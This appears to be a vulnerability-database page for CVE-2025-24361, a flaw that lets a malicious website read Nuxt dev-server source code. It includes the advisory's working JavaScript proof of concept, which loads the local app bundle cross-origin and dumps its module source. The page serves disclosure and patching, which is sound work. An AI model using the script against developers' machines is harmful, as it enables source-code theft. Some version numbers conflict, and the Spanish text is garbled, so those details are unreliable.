CVE-2025-24361
JSON

5.3medium

Opening a malicious website while running a Nuxt dev server could allow read-only access to code

Severity
5.3medium CVSS:3.1 by GitHub_M
Exploit likelihood
0.34% (higher than 29% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-4gf7-ff8x-hq99

Description

Nuxt is an open-source web development framework for Vue.js. Source code may be stolen during dev when using version 3.0.0 through 3.15.12 of the webpack builder or version 3.12.2 through 3.152 of the rspack builder and a victim opens a malicious web site. Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject a malicious script in their site and run the script. By using `Function::toString` against the values in `window.webpackChunknuxt_app`, the attacker can get the source code. Version 3.15.13 of Nuxt patches this issue.

Affected

Product or packageVersionsReported by
nuxt nuxt>= 3.0.0, < 3.15.3, >= 3.12.2, < 3.15.3CVE List
@nuxt/webpack-builder (npm)from 3.0.0 before 3.15.3GitHub Advisory Database
@nuxt/rspack-builder (npm)from 3.12.2 before 3.15.3GitHub Advisory Database

All scores

GitHub_M5.3medium CVSS:3.1CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
GitHub5.3medium CVSS:3.1CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N

Classification

CWE-749

SSVC (CISA-ADP): exploitation poc, automatable no, technical impact partial.

What each source says

CVE List

Nuxt is an open-source web development framework for Vue.js. Source code may be stolen during dev when using version 3.0.0 through 3.15.12 of the webpack builder or version 3.12.2 through 3.152 of the rspack builder and a victim opens a malicious web site. Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject a malicious script in their site and run the script. By using `Function::toString` against the values in `window.webpackChunknuxt_app`, the attacker can get the source code. Version 3.15.13 of Nuxt patches this issue.

GitHub Advisory Database
Summary

Source code may be stolen during dev when using webpack / rspack builder and you open a malicious web site.

Details

Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:3000/_nuxt/app.js"> in their site and run the script. By using Function::toString against the values in window.webpackChunknuxt_app, the attacker can get the source code.

PoC
  1. Create a nuxt project with webpack / rspack builder.
  2. Run npm run dev
  3. Open http://localhost:3000
  4. Run the script below in a web site that has a different origin.
  5. You can see the source code output in the document and the devtools console.
const script = document.createElement('script')
script.src = 'http://localhost:3000/_nuxt/app.js'
script.addEventListener('load', () => {
  for (const page in window.webpackChunknuxt_app) {
    const moduleList = window.webpackChunknuxt_app[page][1]
    console.log(moduleList)

    for (const key in moduleList) {
      const p = document.createElement('p')
      const title = document.createElement('strong')
      title.textContent = key
      const code = document.createElement('code')
      code.textContent = moduleList[key].toString()
      p.append(title, ':', document.createElement('br'), code)
      document.body.appendChild(p)
    }
  }
})
document.head.appendChild(script)

image It contains the compiled source code and also the source map (but it seems the sourcemap contains transformed content in the sourcesContent field).

Impact

Users using webpack / rspack builder may get the source code stolen by malicious websites.

NVD (es)

Nuxt es un desarrollo web de código abierto framework para Vue.js. El código fuente puede ser robado durante el desarrollo cuando se usa la versión 3.0.0 a la 3.15.12 del generador webpack o la versión 3.12.2 a la 3.152 del generador rspack y una víctima abre un sitio web malicioso. Debido a que la solicitud de la etiqueta script bscriptript clásica no está sujeta a la política del mismo origen, un atacante puede inyectar un script de scripts** en su sitio scriptn el script. Al usar `Function::toString` contra los valores en `window.webpackChunknuxt_app`, el atacante puede obtener el código fuente. La versión 3.15.13 de Nuxt corrige este problema.

References

Related

Sources

SourceRecordLicence
CVE ListCVE-2025-24361 changed 2025-02-12CVE Terms of Use
GitHub Advisory DatabaseGHSA-4gf7-ff8x-hq99 changed 2026-07-08CC-BY-4.0
NVDCVE-2025-24361 changed 2026-06-17Public domain